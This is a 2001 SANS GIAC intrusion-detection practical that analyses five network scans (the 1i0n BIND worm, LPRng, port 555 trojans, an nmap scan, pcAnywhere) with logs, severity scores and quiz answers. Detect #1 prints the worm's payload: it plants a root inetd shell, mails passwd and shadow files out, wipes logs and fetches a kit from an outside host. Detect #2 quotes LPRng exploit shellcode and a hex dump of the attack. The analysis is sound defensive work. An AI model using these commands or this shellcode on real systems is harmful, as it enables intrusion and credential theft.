Global Information Assurance Certification Paper

Robert Sorensen
Practical Assignment for SANS Security New Orleans 2001
GIAC Intrusion Detection Curriculum

Version 2.7a
28 January - 2 February 2001

Table of Contents

Network Detect #1

Event Traces (Destination IPs have been obfuscated.)

Firewall-1 Logs (TZ=EST)

```
Date        Time    Action    Int  protocol  Source IP          Destination IP

24Mar2001  7:19:05 drop fw >hme0 proto tcp src 213.191.143.66 dst MY.NET.3.1 s
24Mar2001  7:19:05 drop fw >hme0 proto tcp src 213.191.143.66 dst MY.NET.3.2 s
24Mar2001  7:19:05 drop fw >hme0 proto tcp src 213.191.143.66 dst MY.NET.3.3 s
24Mar2001  7:19:05 drop fw >hme0 proto tcp src 213.191.143.66 dst MY.NET.3.4 s
24Mar2001  7:19:05 drop fw >hme0 proto tcp src 213.191.143.66 dst MY.NET.3.5 s
```

TCPDump Logs (TZ=MST)

```
Time            Source IP     .Port > Dest IP    .Port  Seq Num
```

```
05:19:05.326212 213.191.143.66.4110 > MY.NET.3.1.53: S 2957441156:2957441156(0
572198[|tcp]> (DF) (ttl 51, id 2169)
05:19:05.333747 213.191.143.66.4111 > MY.NET.3.2.53: S 2956971096:2956971096(0
572198[|tcp]> (DF) (ttl 51, id 2170)
05:19:05.342442 213.191.143.66.4112 > MY.NET.3.3.53: S 2965386912:2965386912(0
572198[|tcp]> (DF) (ttl 51, id 2171)
05:19:05.350294 213.191.143.66.4113 > MY.NET.3.4.53: S 2963860700:2963860700(0
572198[|tcp]> (DF) (ttl 51, id 2172)
05:19:05.360947 213.191.143.66.4114 > MY.NET.3.5.53: S 2970849343:2970849343(0
572198[|tcp]> (DF) (ttl 51, id 2173)
```

1. Source of Traces

The traces originated from my home network.

2. Detect Generated By

Trace detected by Firewall-1 logs and correlated with tcpdump logs.

3. Probability the Source Address was Spoofed

Given the nature of this type of scan, the need exists to obtain feedback and try to establish a three-way handshake. The probability of this being a spoofed address is low.

4. Attack Description

This scan correlates directly with the recent 1i0n worm targeting vulnerable BIND versions on Linux boxes that SANS issued an Alert on 23 March 2001. This worm searches for vulnerable versions of BIND on random Class B nets. If a host is found to be vulnerable, the worm downloads a kit and replicates itself and starts scanning other random Class B nets.

5. Attack Mechanism

The 1i0n worm has the following scenario. The worm comes packaged in an archive called crew.tgz. There seems to be a few variants of this with one of them containing the t0rn rootkit. Below is a break down of scripts included in crew.tgz.

1i0n.sh
This script removes the /etc/hosts.deny file and gathers information regarding targeted hosts (getip.sh.) It then copies its startup scripts to /etc/rc.d/rc.sysinit and creates a log file (bindname.log.) It then starts itself up by executing star.sh and politely removes the initial 1i0n.sh and host gathering script.

getip.sh
This script gathers IP address of target host, creates a temp log file called mail.log that includes system name, network information, passwd file, shadow file. It then mails itself to an address at china.com. It cleans up after itself by removing mail.log.

star.sh
This script simply runs the scan.sh and hack.sh scripts.

scan.sh
This script runs the randb executable to generate a random Class B address space. It waits 60 seconds and then issues a 'killall -9 bind' command to stop the vulnerable process so no one else can exploit the host. The random Class B address is then fed to the scanner program 'pscan' program targeting port 53. The process is setup in a 'while true' loop so this process is not a one-time scan.

hack.sh
This script reads found hostnames from the bindname.log file that scan.sh generates. It doesn't even wait until the scan process is completed but does it in real time by 'tail -f' the file and running bindx.sh against the TARGET host.

bindx.sh
This script simply runs the binary bind exploit program 'bind.'

bind
Since bind is an executable, strings were run against it. The following contains the exploit script run against every TARGET host. It does some nasty stuff.

```
PATH='/usr/bin:/bin:/usr/local/bin/:/usr/sbin/:/sbin';export PATH;export TERM=vt100;rm -
rf /dev/.lib;mkdir /dev/.lib;cd /dev/.lib;echo '1008 stream tcp nowait root /bin/sh sh'
>>/etc/inetd.conf;killall -HUP inetd;ifconfig -a>1i0n;cat /etc/passwd >>1i0n;cat /etc/shadow
>>1i0n;mail 1i0nip@china.com <1i0n;rm -fr 1i0n;
rm -fr /.bash_history;echo >/var/log/messages;echo >/var/log/maillog;lynx -dump
http://coollion.51.net/crew.tgz >1i0n.tgz;tar -zxvf 1i0n.tgz;rm -fr 1i0n.tgz;cd lib;./1i0n.sh;exit
```

6. Correlations

SANS issued an Alert notice on 23 Mar 2001 regarding 1i0n worm after receiving reports (032301.htm, 032601.htm). On the Incidence mailing supported by SecurityFocus, Scott McIntyre initially reported it as well. CNN also picked up the story.

The following Advisories have been issued in regards to BIND:

http://www.cert.org/advisories/CA-2001-02.html, CERT Advisory CA-2001-02, Multiple Vulnerabilities in BIND
http://www.kb.cert.org/vuls/id/196945 ISC BIND 8 contains buffer overflow in transaction signature (TSIG) handling code

7. Evidence of Active Targeting

The worm randomizes a Class B address space and scans every host. There is no respector of DNS servers for this one. Fortunately, we have only one DNS server on our public net and it has been properly patched. All other scans were dropped by our firewall.

8. Severity

We use the following formula to calculate severity of the incident. The metrics are assigned on the five point scale, five being the highest, one being the lowest.

Severity = (Criticality + Lethality) - (System Countermeasures + Network Countermeasures)

Criticality	4	Potentially vulnerable DNS servers were targeted.
Lethality	5	Remote r00t compromise!
System Countermeasures	3	Visible host was recently patched. Could there be other holes in BIND?
Network Countermeasures	5	All other hosts were protected by firewall and access to them were restricted.
Severity	(4+5) - (3+5) = **1**	

9. Defensive Recommendation

We were pretty well covered on this one considering protection offered by the firewall as well as applying patches to host that was visible. Since this is a current white-hot scan, Chris Brenton has written a very detailed protection paper for 1i0n. It can be found here.

10. Test Question

Looking at the following trace, with particular interest in the date, which worm is the most likely culprite?

```
24Mar2001 05:19:05.326212 213.191.143.66.4110 > MY.NET.3.1.53: S 2957441156:29
572198[|tcp]> (DF) (ttl 51, id 2169)
24Mar2001 05:19:05.333772 213.191.143.66.4111 > MY.NET.3.2.53: S 2956971096:29
572198[|tcp]> (DF) (ttl 51, id 2170)
```

a. Linux RamenWorm
b. Linux Li0n Worm
c. Irok Trojan.Worm
d. Happy99 Worm

Answer: B. SANS issued an Alert 23Mar2001 concerning the Linux Li0n worm.

Network Detect #2

Event Traces (Destination IPs have been obfuscated.)

```
Firewall-1 Logs

Date       Time     Action    >Int  Protocol  Source IP        Destination IP
```

```
14Mar2001  0:09:42 drop fw1  >hme0 proto tcp src 209.112.47.7 dst MY.NET.19.23
14Mar2001  2:25:04 drop fw1  >hme0 proto tcp src 209.112.47.7 dst MY.NET.31.32
14Mar2001  2:34:06 drop fw1  >hme0 proto tcp src 209.112.47.7 dst MY.NET.70.57
14Mar2001  2:36:38 drop fw1  >hme0 proto tcp src 209.112.47.7 dst MY.NET.208.1
14Mar2001  2:45:14 drop fw1  >hme0 proto tcp src 209.112.47.7 dst MY.NET.62.92
14Mar2001  3:35:24 drop fw1  >hme0 proto tcp src 209.112.47.7 dst MY.NET.121.1
14Mar2001  4:23:35 drop fw1  >hme0 proto tcp src 209.112.47.7 dst MY.NET.71.18
14Mar2001  5:01:49 drop fw1  >hme0 proto tcp src 209.112.47.7 dst MY.NET.211.1
14Mar2001  5:03:27 drop fw1  >hme0 proto tcp src 209.112.47.7 dst MY.NET.98.60
14Mar2001  7:59:58 drop fw1  >hme0 proto tcp src 209.112.47.7 dst MY.NET.65.22
14Mar2001  8:04:48 drop fw1  >hme0 proto tcp src 209.112.47.7 dst MY.NET.57.56
14Mar2001  9:41:16 drop fw1  >hme0 proto tcp src 209.112.47.7 dst MY.NET.120.2
14Mar2001 11:35:53 drop fw1  >hme0 proto tcp src 209.112.47.7 dst MY.NET.16.71
14Mar2001 11:37:39 drop fw1  >hme0 proto tcp src 209.112.47.7 dst MY.NET.216.9
14Mar2001 12:14:29 drop fw1  >hme0 proto tcp src 209.112.47.7 dst MY.NET.1.124
14Mar2001 13:06:10 drop fw1  >hme0 proto tcp src 209.112.47.7 dst MY.NET.60.20
14Mar2001 18:36:43 drop fw1  >hme0 proto tcp src 209.112.47.7 dst MY.NET.196.2
14Mar2001 19:16:08 drop fw1  >hme0 proto tcp src 209.112.47.7 dst MY.NET.192.5
14Mar2001 20:06:59 drop fw1  >hme0 proto tcp src 209.112.47.7 dst MY.NET.112.1
14Mar2001 20:36:11 drop fw1  >hme0 proto tcp src 209.112.47.7 dst MY.NET.57.18
14Mar2001 23:44:34 drop fw1  >hme0 proto tcp src 209.112.47.7 dst MY.NET.121.1
```

Tcpdump logs

```
Date      Time            Source IP   .Port  > Dest IP     .Port  Proto

2001/3/14 00:10:57.281543 209.112.47.7.31337 > MY.NET.19.23.515: TCP S win
2001/3/14 02:35:22.403621 209.112.47.7.31337 > MY.NET.70.57.515: TCP S win
2001/3/14 02:37:53.984259 209.112.47.7.31337 > MY.NET.208.112.515: TCP S win
2001/3/14 02:46:29.045590 209.112.47.7.31337 > MY.NET.62.92.515: TCP S win
2001/3/14 03:36:40.460495 209.112.47.7.31337 > MY.NET.121.196.515: TCP S win
2001/3/14 04:24:51.408010 209.112.47.7.31337 > MY.NET.71.187.515: TCP S win
2001/3/14 05:03:03.372423 209.112.47.7.31337 > MY.NET.211.109.515: TCP S win
2001/3/14 05:04:41.481438 209.112.47.7.31337 > MY.NET.98.60.515: TCP S win
2001/3/14 08:01:11.849336 209.112.47.7.31337 > MY.NET.65.223.515: TCP S win
2001/3/14 08:06:02.573040 209.112.47.7.31337 > MY.NET.57.56.515: TCP S win
2001/3/14 09:42:28.245281 209.112.47.7.31337 > MY.NET.120.21.515: TCP S win
2001/3/14 11:37:08.480380 209.112.47.7.31337 > MY.NET.16.71.515: TCP S win
2001/3/14 11:38:54.289667 209.112.47.7.31337 > MY.NET.216.92.515: TCP S win
2001/3/14 12:15:44.344710 209.112.47.7.31337 > MY.NET.1.124.515: TCP S win
2001/3/14 12:38:16.826617 209.112.47.7.31337 > MY.NET.212.35.515: TCP S win
2001/3/14 19:17:24.661905 209.112.47.7.31337 > MY.NET.192.57.515: TCP S win
2001/3/14 20:08:16.956256 209.112.47.7.31337 > MY.NET.112.198.515: TCP S win
2001/3/14 23:27:55.234533 209.112.47.7.31337 > MY.NET.20.115.515: TCP S win
2001/3/14 23:45:51.686040 209.112.47.7.31337 > MY.NET.121.16.515: TCP S win
```

1. Source of Traces

The trace originated from my home network. Notice the source port of 31337. Packet crafting is in play here. Also notice the times associated with this scan, very slow and methodical, trying to bypass our sensors.

2. Detect Generated By

Trace detected by Firewall-1 logs and correlated with tcpdump logs.

3. Probability the Source Address was Spoofed

It is unlikely that the source address was spoofed, since the attacker needed to receive responses from the print server to his/her requests. If the source address was spoofed, the attacker would need to intercept the responses en-route. The probability of this being a spoofed address is low.

4. Attack Description

Format string vulnerability in use_syslog() function in LPRng 3.6.24 allows remote attackers to execute arbitrary commands. This attack currently is listed at CVE as CAN-2000-0917. Originally, NetBSD, NetBSD 1.4.2, NetBSD NetBSD 1.4.1, NetBSD NetBSD 1.4, OpenBSD OpenBSD 2.7, RedHat Linux 7.0, Wirex and Immunix OS 6.2 were vulnerable.

5. Attack Mechanism

The attack mechanism is a classic buffer overflow exploit. The attack work by completing the three-way handshake, then sending data which is padded with a large number of TCP options (NOPs). Once the buffer is overflowed, /bin/sh is passed through and executed. Example code for an exploit can be found at www.rdcrew.com. Pulling a bit of code from rdcrew's program, we see the infamous shellcode..

```
char shellcode[]= // not mine"\x31\xc0\x31\xdb\x31\xc9\xb3\x07\xeb\x67
\x5f\x8d\x4f" "\x07\x8d\x51\x0c\x89\x51\x04\x8d\x51\x1c\x89\x51\x08""\x89\x41
\x1c\x31\xd2\x89\x11\x31\xc0\xc6\x41\x1c\x10""\xb0\x66\xcd\x80\xfe\xc0\x80
\x79\x0c\x02\x75\x04\x3c""\x01\x74\x0d\xfe\xc2\x80\xfa\x01\x7d\xe1\x31\xc0
\xfe""\xc0\xcd\x80\x89\xd3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80""\xfe\xc1\x80\xf9
\x03\x75\xf3\x89\xfb\x31\xc0\x31\xd2""\x88\x43\x07\x89\x5b\x08\x8d\x4b\x08
\x89\x43\x0c\xb0""\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x94
\xff\xff""\xff\x2f\x62\x69\x6e\x2f\x73\x68";
```

Whitehats.com has a nice trace of the exploit using the above code.

```
12/27-19:50:06.566199 192.0.0.10:1273 -> 192.0.0.12:515
TCP TTL:64 TOS:0x0 ID:8616 IpLen:20 DgmLen:502 DF
***AP*** Seq: 0x4E6A54FD  Ack: 0x1FE1479A  Win: 0x7D78  TcpLen: 32
TCP Options => NOP NOP TS: 3790952 222744
1 41 30 EE FF BF 31 EE FF BF 32 EE FF BF 33 EE  AA0...1...2...3.
FF BF 25 2E 31 32 75 25 32 39 39 24 6E 25 2E 31  ..%.12u%299$n%.1
38 32 75 25 33 30 30 24 6E 25 2E 39 75 25 33 30  82u%300$n%.9u%30
31 24 6E 25 2E 31 39 32 75 25 33 30 32 24 6E 90  1$n%.192u%302$n.
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90  ................
```

```
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
90 90 90 90 31 C0 31 DB 31 C9 B3 07 EB 67 5F 8D   ....1.1.1....g_.
4F 07 8D 51 0C 89 51 04 8D 51 1C 89 51 08 89 41   O..Q..Q..Q..Q..A
1C 31 D2 89 11 31 C0 C6 41 1C 10 B0 66 CD 80 FE   .1...1..A...f...
C0 80 79 0C 02 75 04 3C 01 74 0D FE C2 80 FA 01   ..y..u.<.t......
7D E1 31 C0 FE C0 CD 80 89 D3 31 C9 31 C0 B0 3F   }.1.......1.1..?
CD 80 FE C1 80 F9 03 75 F3 89 FB 31 C0 31 D2 88   .......u...1.1..
43 07 89 5B 08 8D 4B 08 89 43 0C B0 0B CD 80 31   C..[..K..C.....1
C0 FE C0 CD 80 E8 94 FF FF FF 2F 62 69 6E 2F 73   ........../bin/s
68 0A                                             h.
```

6. Correlations

This particular exploit is a current candidate at CVE here (CAN-2000-0917). It is well documented at SecurityFocus and has a BugTraq ID. CERT Advisory Number: CA-2000-22 concerning LPRNG is located at here. The CERT Vulnerability Note: VU 382365 is located here.

A very nice write up of a compromise using the LPRng exploit is documentated at SANS.org here. The Ramen Worm used LPRng to spread its nastiness as documented nicely in this SANS.org article.

7. Evidence of Active Targeting

Looking at the logs captured, the scan was very random and methodical. The scope of this scan is most likely hitting more than just my Class B net. Vulnerabilities on printer port 515 is most definitely targeted. The source port of 31337 is of most interest as well :)

8. Severity

We use the following formula to calculate severity of the attack. The metrics are assigned on the five point scale, five being the highest, one being the lowest.

Severity = (Target Criticality + Attack Lethality) - (System Countermeasures + Network Countermeasures)

Criticality	3	Linux hosts running print services most likely would not be considered critical.
Lethality	5	Remote r00t compromise!
System Countermeasures	4	Patches have been applied on targeted hosts.

Network Countermeasures	5	Targeted hosts protected by well-tuned firewall.
Severity	(3+5) - (4+5) = **-1**	

9. Defensive Recommendation

Overall, our site is well protected for exploits against this attack. One thought would be to place filters on border router to block any print services originating from the Internet.

10. Test Question

What does this trace indicate?

```
2001/3/14 02:35:22.403621 209.112.47.7.31337 > MY.NET.70.57.515: TCP S win
2001/3/14 02:37:53.984259 209.112.47.7.31337 > MY.NET.208.112.515: TCP S win
2001/3/14 02:46:29.045590 209.112.47.7.31337 > MY.NET.62.92.515: TCP S win
```

a. Scan for Back Orifice servers
b. TCP Syn Flood
c. Scan for vulnerable win servers
d. Scan for vulnerable print servers

Answer: D. Even though the source port is associated with Back Orifice, this scan is targeting vulnerable print servers (dst port 515) typically using the LPRng exploit.

Network Detect #3

Event Traces (Destination IPs have been obfuscated.)

```
Firewall-1 Logs (TZ=EST)

Date      Time    Action    >Int  Protocol  Source IP          Destination IP

5Mar2001  1:57:45 drop FWB1 >hme0 proto tcp src 210.248.62.194 dst MY.NET.6.41
5Mar2001  1:57:45 drop FWB1 >hme0 proto tcp src 210.248.62.194 dst MY.NET.6.40
5Mar2001  1:57:45 drop FWB1 >hme0 proto tcp src 210.248.62.194 dst MY.NET.6.42
5Mar2001  1:57:45 drop FWB1 >hme0 proto tcp src 210.248.62.194 dst MY.NET.6.44
5Mar2001  1:57:45 drop FWB1 >hme0 proto tcp src 210.248.62.194 dst MY.NET.6.43
5Mar2001  1:57:45 drop FWB1 >hme0 proto tcp src 210.248.62.194 dst MY.NET.6.45
5Mar2001  1:57:45 drop FWB1 >hme0 proto tcp src 210.248.62.194 dst MY.NET.6.46

TCPDump Logs (TZ=MST)

Date     Time            Source IP     .Port > Dest IP  .Port   Seq Num

4Mar2001 23:57:45.889833 210.248.62.194.3376 > MY.NET.6.41.555: S2548156505:25
34912201[|tcp]> (DF) (ttl 34, id 11576)
```

```
4Mar2001 23:57:45.890162 210.248.62.194.3375 > MY.NET.6.40.555: S2543568509:25
34912201[|tcp]> (DF) (ttl 34, id 11575)
4Mar2001 23:57:45.890198 210.248.62.194.3377 > MY.NET.6.42.555: S2546746301:25
34912201[|tcp]> (DF) (ttl 34, id 11577)
```

1. Source of Traces

The traces were obtained from my network.

2. Detect Generated By

Trace detected by Firewall-1 logs and correlated with tcpdump logs.

3. Probability the Source Address was Spoofed

It is unlikely that the source address was spoofed. Given the nature of a scan that is trolling for trojans, feedback from the scan is required. The probability of this being a spoofed adress is low.

4. Attack Description

Port 555 has been known to serve the following trojans: Ini-Killer, Net Administrator, Phase Zero, or Stealth Spy. This scan is strictly trying to find hosts running these trojans. CERT has an excellent advisory about trojan horses.

5. Attack Mechanism

Trojans are only effective if somehow they are installed on a users systems. Quoting from the CERT advisory listed above,

> *"Users can be tricked into installing Trojan horses by being enticed or frightened. For example, a Trojan horse might arrive in email described as a computer game. When the user receives the mail, they may be enticed by the description of the game to install it. Although it may in fact be a game, it may also be taking other action that is not readily apparent to the user, such as deleting files or mailing sensitive information to the attacker. As another example, an intruder may forge an advisory from a security organization, such as the CERT Coordination Center, that instructs system administrators to obtain and install a patch.*
>
> *Other forms of "social engineering" can be used to trick users into installing or running Trojan horses. For example, an intruder might telephone a system administrator and pose as a legitimate user of the system who needs assistance of some kind. The system administrator might then be tricked into running a program of the intruder's design.*
>
> *Software distribution sites can be compromised by intruders who replace legitimate versions of software with Trojan horse versions. If the distribution site is a central distribution site whose contents are mirrored by other distribution sites, the Trojan*

horse may be downloaded by many sites and spread quickly throughout the Internet community. "

Trolling for trojans is not that uncommon. If a trojan program is found running on a host, it can be very trivial to take complete control of that system and use it for no good purposes.

6. Correlations

```
http://www.sans.org/y2k/030701-1200.htm

Mar 2 18:40:40 210.248.62.194:1191 -> a.b.c.17:555 SYN ******S*
Mar 2 18:40:40 210.248.62.194:1204 -> a.b.c.30:555 SYN ******S*
Mar 2 18:40:41 210.248.62.194:1792 -> a.b.c.207:555 SYN ******S*
Mar 2 18:40:41 210.248.62.194:1800 -> a.b.c.215:555 SYN ******S*
Mar 2 18:40:42 210.248.62.194:2572 -> a.b.d.208:555 SYN ******S*

http://www.sans.org/y2k/032201.htm

04 Mar 01 19:10:31 tcp 210.248.62.194.4392 <| 130.216.16.13.555 sR
04 Mar 01 19:10:31 tcp 210.248.62.194.4461 <| 130.216.16.82.555 sR
04 Mar 01 19:10:32 tcp 210.248.62.194.3493 <| 130.216.21.23.555 sR
04 Mar 01 19:10:32 tcp 210.248.62.194.3564 <| 130.216.21.94.555 sR
04 Mar 01 19:10:32 tcp 210.248.62.194.3600 <| 130.216.21.129.555 sR
04 Mar 01 19:10:32 tcp 210.248.62.194.3844 <| 130.216.22.116.555 sR

http://www.sans.org/y2k/021201.htm

Here are some probes of my home box caught by PortSentry... For correlation
purposes...all times are Central Time (GMT -6:00) Trolling for
trojans...port 555 has been known to serve: Ini-Killer, Net Administrator,
Phase Zero, Stealth Spy...

Feb 8 09:45:43 r0o5t4R portsentry[430]: attackalert: SYN/Normal scan
from host: 211.251.34.193/211.251.34.193 to TCP port: 555
Feb 8 09:45:43 r0o5t4R portsentry[430]: attackalert: Host
211.251.34.193 has been blocked via wrappers with string:
"ALL: 211.251.34.193"
```

It is interesting to see the correlation coming from the same IP address at about the same time. Obviously, IP 210.248.62.194 had a massive trojan scanning operation running.

7. Evidence of Active Targeting

This scan had no particular host or net in mind. It was performing a massive scan looking for trojans on port 555.

8. Severity

We use the following formula to calculate severity of the attack. The metrics are assigned on the five point scale, five being the highest, one being the lowest.

Severity = (Target Criticality + Attack Lethality) - (System Countermeasures + Network Countermeasures)

Criticality	2	No particular host targeted, just plain tojan trolling.
Lethality	2	Looking for systems that might have a trojan running on port 555. Only four known trojans using port 555 as default.
System Countermeasures	3	Anti-virus programs running on hosts with current updated signatures.
Network Countermeasures	4	Targeted hosts protected by well-tuned firewall.
Severity	(2+2) - (3+4) = **-3**	

9. Defensive Recommendation

Continue to keep anti-virus signatures up-to-date and train users on the importance of not downloading or running unknown programs they might get in email attachments or see in casual Internet browsing.

10. Test Question

Which trojan horse, by default, listens on TCP port 555?

a. Dark Shadow
b. Phase Zero
c. ServeMe
d. Back Orifice 2000

Answer: B. Phase Zero is known to use TCP port 555 as its default.

Network Detect #4

Event Traces (Destination IPs have been obfuscated.)

```
TCPDump Logs (TZ=MST)

Time             Source IP     .Port  > Dest IP  .Port   Seq Num

15:12:19.112869 200.56.186.173.63737 > MY.NET.4.203.1: S 1715142710:171514271(
15:12:19.151847 200.56.186.173.63738 > MY.NET.4.203.2: S 640121020:640121020((
15:12:19.207059 200.56.186.173.63739 > MY.NET.4.203.3: S 227991096:227991096((
15:12:19.312507 200.56.186.173.63740 > MY.NET.4.203.4: S 1995403851:199540385(
15:12:19.372625 200.56.186.173.63741 > MY.NET.4.203.5: S 179481165:179481165((
15:12:19.422852 200.56.186.173.63742 > MY.NET.4.203.6: S 2107637657:210763765(
15:12:19.486124 200.56.186.173.63743 > MY.NET.4.203.7: S 999689985:999689985((
15:12:19.533471 200.56.186.173.63744 > MY.NET.4.203.8: S 1256425161:125642516(
```

```
15:12:19.601591 200.56.186.173.63745 > MY.NET.4.203.9: S 929117099:929117099(0
15:12:19.608348 200.56.186.173.63746 > MY.NET.4.203.10: S 580451745:580451745(
15:12:19.646050 200.56.186.173.63747 > MY.NET.4.203.11: S 1326741659:13267416
..
15:15:17.647914 200.56.186.173.64584 > MY.NET.4.203.216: S 1891939616:189193
15:15:17.742719 200.56.186.173.64585 > MY.NET.4.203.217: S 1265532685:126553
```

1. Source of Traces

The traces were collected from my network.

2. Detect Generated By

SHADOW initially picked up this scan. ISS RealSecure also alerted me to this portscan.

3. Probability that Source Address was Spoofed

It is very unlikely that the src IP was spoofed. As I looked at the tcpdump records, the source host successfully completed the three-way handshake when connecting to open TCP ports.

4. Attack Description

The tcpdump records indicate that this was a TCP port scan of MY.HOST.4.203, probably launched with the intent to discover which ports are open on the host. The attacker targeted privileged ports in the range of 1-217. A port scan is commonly used during the reconnaissance-gathering stage of an attack to locate services that can be exploited to gain control of the target.

5. Attack Mechanism

Nmap's TCP SYN stealth port scan was the tool most likely used for the scan. More information about nmap behavior is available in SANS Intrusion Detection FAQ article here as well as here . Port scans are quite common on the Internet, and are rarely a cause of alarm unless patterns of targeted behavior are discovered.

6. Correlations

Just prior to MY.HOST.4.203 being portscanned, IP 200.56.186.173 had hit a web page. Seeing port 13 (daytime) got this cat very curious, thus launching a portscan to see if there were other interesting ports.

```
TCPDump Logs (TZ=MST)

Time            Source IP      .Port  > Dest IP   .Port    Seq Num

15:11:25.684111 200.56.186.173.63734 > MY.NET.4.203.80: S 1314752606:131475260
15:11:25.684131 200.56.186.173.63734 > MY.NET.4.203.80: S 1314752606:131475260
15:12:19.719426 200.56.186.173.63750 > MY.NET.4.203.13: S 1200606190:120060619
15:12:19.719445 200.56.186.173.63750 > MY.NET.4.203.13: S 1200606190:120060619
```

7. Evidence of Active Targeting

Having a portscan against MY.HOST.4.203 shows that it was targeted. It might not have been initally targeted but after the user hit a few web pages, something must have interested him/her because that is when the portscan was launched.

8. Severity

Typically, the following formula is used to calculate severity of the attack. The metrics are assigned on a five point scale, five being the highest, one being the lowest.

> Severity = (Target Criticality + Attack Lethality) - (System Countermeasures + Network Countermeasures)

Criticality	5	This host serves as a fital part of our Web Services to the public.
Lethality	2	The attack was primarily probing in their nature
System Countermeasures	3	This host is current on OS patches and is protected by tcpwrappers.
Network Countermeasures	2	This host is on a public net so is not protected by firewall. Border router does offer some filtering protection on ports 111, 135-139, 161, etc.
Severity	(5+2) - (3+2) = **2**	

9. Defensive Recommendations

The targeted system is protected against this attack to the extent that its services and function requirements allow. Administrator should continue monitoring logs for activity such as this scan as well as for suspicious activity from other hosts that suggests active targeting.

10. Test Question

What is this trace an indication of?

```
15:12:19.112869 200.56.186.173.63737 > MY.NET.4.203.1: S 1715142710:1715142710
15:12:19.151847 200.56.186.173.63738 > MY.NET.4.203.2: S 640121020:640121020(0
15:12:19.207059 200.56.186.173.63739 > MY.NET.4.203.3: S 227991096:227991096(0
15:12:19.312507 200.56.186.173.63740 > MY.NET.4.203.4: S 1995403851:1995403851
15:12:19.372625 200.56.186.173.63741 > MY.NET.4.203.5: S 179481165:179481165(0
15:12:19.422852 200.56.186.173.63742 > MY.NET.4.203.6: S 2107637657:2107637657
15:12:19.486124 200.56.186.173.63743 > MY.NET.4.203.7: S 999689985:999689985(0
15:12:19.533471 200.56.186.173.63744 > MY.NET.4.203.8: S 1256425161:1256425161
15:12:19.601591 200.56.186.173.63745 > MY.NET.4.203.9: S 929117099:929117099(0

15:12:20.127629 200.56.186.173.63766 > MY.NET.4.203.22: S 983975579:983975579(
15:12:20.127709 MY.NET.4.203.22 > 200.56.186.173.63766: S 1798617481:179861748
15:12:29.458828 MY.NET.4.203.22 > 200.56.186.173.63766: F 1798617482:179861748
15:12:24.657028 200.56.186.173.64088 > MY.NET.4.203.110: S 2192451301:21924513
```

```
15:12:24.657159 MY.NET.4.203.110 > 200.56.186.173.64088: R 0:0(0) ack 21924513
15:12:25.899914 200.56.186.173.64175 > MY.NET.4.203.110: S 1193171874:11931718
15:12:25.900047 MY.NET.4.203.110 > 200.56.186.173.64175: R 0:0(0) ack 11931718
```

a. Active portscan with no open ports found
b. Active portscan with tcp/22 and tcp/110 ports found open
c. Active portscan with tcp/110 port found open
d. Active portscan with tcp/22 port found open

Answer: D. Tcp/22 indicates a SYN, SYN-ACK, FIN/ACK with MY.HOST.4.203. Tcp/110 responds immediately with a Reset.

Network Detect #5

Event Traces (Destination IPs have been obfuscated.)

Firewall-1 Logs (TZ=EST)

```
Date      Time   Action >Int Protocol Source IP       Dst IP           Dst Ser
29Mar2001 2:27:39 drop fw1 >hme0 proto udp src 212.208.145.215 dst MY.NET.18.219 service
47
29Mar2001 2:27:39 drop fw1 >hme0 proto udp src 212.208.145.215 dst MY.NET.18.220 service
47
29Mar2001 2:27:39 drop fw1 >hme0 proto udp src 212.208.145.215 dst MY.NET.18.221 service
47
29Mar2001 2:27:39 drop fw1 >hme0 proto udp src 212.208.145.215 dst MY.NET.18.222 service
47
29Mar2001 2:27:39 drop fw1 >hme0 proto udp src 212.208.145.215 dst MY.NET.18.223 service
47
29Mar2001 2:27:39 drop fw1 >hme0 proto udp src 212.208.145.215 dst MY.NET.18.224 service
47
29Mar2001 2:27:39 drop fw1 >hme0 proto udp src 212.208.145.215 dst MY.NET.18.225 service
47
29Mar2001 2:27:39 drop fw1 >hme0 proto udp src 212.208.145.215 dst MY.NET.18.226 service
47
29Mar2001 2:27:39 drop fw1 >hme0 proto udp src 212.208.145.215 dst MY.NET.18.227 service
47
29Mar2001 2:27:39 drop fw1 >hme0 proto udp src 212.208.145.215 dst MY.NET.18.228 service
47
29Mar2001 2:27:39 drop fw1 >hme0 proto udp src 212.208.145.215 dst MY.NET.18.229 service
47
```

1. Source of Traces

The traces were obtained from my network.

2. Detect Generated By

Trace detected by Firewall-1 logs. pcANYWHERE-stat is defined under Firewall-1 as udp/5632.

3. Probability the Source Address was Spoofed

It is unlikely that the source address was spoofed. Given the nature of a scan that is looking specifically for pcANYWHERE servers, feedback from the scan is required. The probability of this being a spoofed address is low.

4. Attack Description

Vulnerabilities have been documented for pcANYWHERE servers. SANS listed some of these in Windows Security Digest Vol.3 No. 4 as well as in Security Alert Consensus Number 089 (01.12) - March 22, 2001. The most likely scenario is the hacker is looking for the known vulnerability of pcANYWHERE of weak encryption which allows remote attackers to sniff and decrypt PcAnywhere or NT domain accounts (CAN-2000-0300). pcAnywhere allows remote attackers to cause a denial of service by terminating the connection before PCAnywhere provides a login prompt. CVE-2000-0273. pcAnywhere 8.x and 9.x allows remote attackers to cause a denial of service via a TCP SYN scan, e.g. by nmap. (CAN-2000-0324).

5. Attack Mechanism

The main mode of attack is through a buffer overflow that causes pcANYWHERE to lock up thus completing a denial of service. Zoa Chien of Securax.org reported this bug.

6. Correlations

```
http://www.sans.org/y2k/020501-1400.htm

UTC 01/30/2001 16:47:40.032 - UDP packet dropped - Source:209.166.20.93,
54233,
WAN - Destination:192.168.99.254, 5632, LAN - - Rule 10
